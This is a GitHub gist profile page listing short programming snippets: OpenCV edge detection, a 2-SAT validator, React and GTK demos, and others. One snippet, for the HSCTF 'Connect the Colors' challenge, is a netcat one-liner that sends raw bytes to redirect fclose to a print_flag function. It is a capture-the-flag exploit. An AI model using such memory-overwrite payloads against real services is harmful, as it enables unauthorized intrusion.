Skip to content

Instantly share code, notes, and snippets.

View benwaffle's full-sized avatar
🍝
best spaghetti in town

Ben Iofel benwaffle

🍝
best spaghetti in town
View GitHub Profile
@benwaffle
benwaffle / cv.py
Created January 8, 2015 01:17
edge detection in python
#!/usr/bin/env python2
from cv2 import *
cap = VideoCapture(0)
namedWindow('frame', flags=WINDOW_NORMAL)
createTrackbar('threshold', 'frame', 0, 1024, lambda x: x)
while(True):
ret, frame = cap.read()
x = getTrackbarPos('threshold','frame')
@benwaffle
benwaffle / works.c
Created January 25, 2015 01:29
2sat solution validator
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <assert.h>
int main(int argc, char *argv[]){
if (argc != 3){
printf("Usage: %s <input> <solution>\n", argv[0]);
@benwaffle
benwaffle / Makefile
Created January 25, 2015 03:21
ping servers from json file
CFLAGS= -std=gnu11 -D_GNU_SOURCE -fopenmp -include header.h
LDFLAGS= -ljansson
all: ping
@benwaffle
benwaffle / all.h
Created March 18, 2015 23:31
bunch of headers
#include <aio.h>
#include <arpa/inet.h>
#include <assert.h>
#include <complex.h>
#include <cpio.h>
#include <ctype.h>
#include <curses.h>
#include <dirent.h>
#include <dlfcn.h>
#include <errno.h>
@benwaffle
benwaffle / dyn.c
Last active August 29, 2015 14:19
dynamically call functions in libm.so
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <dlfcn.h>
#include <readline/readline.h>
#include <boost/preprocessor/repetition/repeat.hpp> // i'm going to hell for this
#define NARGS 20
int main()
@benwaffle
benwaffle / react.html
Created April 29, 2015 03:48
react todo
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>React demo</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css">
<style>
html, body { margin: 20px; }
</style>
@benwaffle
benwaffle / colors.sh
Created May 25, 2015 05:18
HSCTF Connect the Colors
# fclose -> print_flag in plt
$ { printf "toggle \x21\x34\x34\x21\x35\x86\x21\x36\x04\x21\x37\x08\nload\n"; sleep 0.5 } | nc 104.236.80.67 5694
@benwaffle
benwaffle / pyprint.cc
Created June 20, 2015 18:11
python-style printer in C++
#include <iostream>
struct pyprinter {
template <typename T>
pyprinter operator,(T const& t) const {
std::cout << t;
return pyprinter();
}
};
class App : Gtk.Application {
public override void activate () {
var win = new Gtk.ApplicationWindow (this);
var box1 = new Gtk.Box (Gtk.Orientation.HORIZONTAL, 0);
var frame1 = new Gtk.Frame ("left");
var frame2 = new Gtk.Frame ("right");
var button = new Gtk.Button.with_label ("move to other side");
button.clicked.connect (() => {
var frame = button.parent as Gtk.Container;
class App : Gtk.Application {
public override void activate () {
var win = new Gtk.ApplicationWindow (this);
var box = new Gtk.Box (Gtk.Orientation.VERTICAL, 0);
var entry = new Gtk.Entry ();
var label = new Gtk.Label ("");
entry.bind_property ("text", label, "label", BindingFlags.SYNC_CREATE, (bind, src, ref target) => {
target.set_string ("Hello, " + src.get_string ());
return true;